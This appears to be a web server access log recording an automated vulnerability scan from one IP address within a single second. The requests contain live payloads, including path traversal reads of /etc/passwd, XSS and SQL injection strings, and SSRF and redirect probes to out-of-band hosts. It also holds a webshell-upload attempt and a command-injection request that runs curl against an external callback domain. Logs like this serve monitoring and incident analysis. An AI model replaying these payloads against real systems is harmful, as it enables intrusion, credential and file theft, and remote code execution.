[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module/ph_simpleblog/list?sb_category=')%20AND%20false--%20- HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi?2 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /controller/login.php?acao=autenticar HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?file=http://0177.0.0.1/etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /./RestAPI/LogonCustomization HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /self.key HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name=380CyCwkw3nNlQT1bwGnFgddEhl.php:aaa HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/bps-backup/logs/db_backup_log.txt HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/nginx.conf HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download/index.php?file=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?m=user&c=Users&a=logout&referurl=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fmlurlsvc/?url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_adminer.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/TestWfsPost HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asd/../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cas/v1/tickets/ HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://d5g6sfahausljekepl20pmanjj33uzrcg.oast.site/ HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /about/../tree?action=get HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /IND780/excalweb.dll?webpage=../../AutoCE.ini HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.htm HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openx/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/graphql HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vendor/phpfastcache/phpfastcache/examples/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/PWResetUserValidation HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /confluence/pages/createpage-entervariables.action HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /about_state HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Items/RemoteSearch/Image?ImageUrl=https://oast.me/&ProviderName=TheMovieDB HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /install.php?page=4 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/configure/swports_adjust?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR HTTP/1.1" 199
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=310325ea339b72fcb89ae6397edb55c5 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fmangersub?cpath=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /titan-framework/lib/iframe-font-preview.php?font-type=google&font-family=aaaaa&font-weight=%27%20accesskey=%27x%27%20onclick=%27alert(document.domain)%27%20class=%27 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cobbler_api HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui_base/js/..%2f..%2f..%2f..%2fsettings.js HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/snapshots/:key HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1 HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/add-on/business-continuity/api/plugin?folderName&pluginName=../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/components?name=1&1%5B0%5D&1%5B1%5D=a&1%5B2%5D&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cxlm2d4mwMwp2pwAXsIsxMay.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute(\"curl+http%3a//d5g6sfahausljekepl20wphh3bnu8zn4m.oast.site+-H+'User-Agent%3a+xDN7Fv'\")}' HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax/telemetry.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /delete_cart_goods.php HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adm_program/system/redirect.php?url=javascript://%250aalert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /files.md5 HTTP/1.1" 196
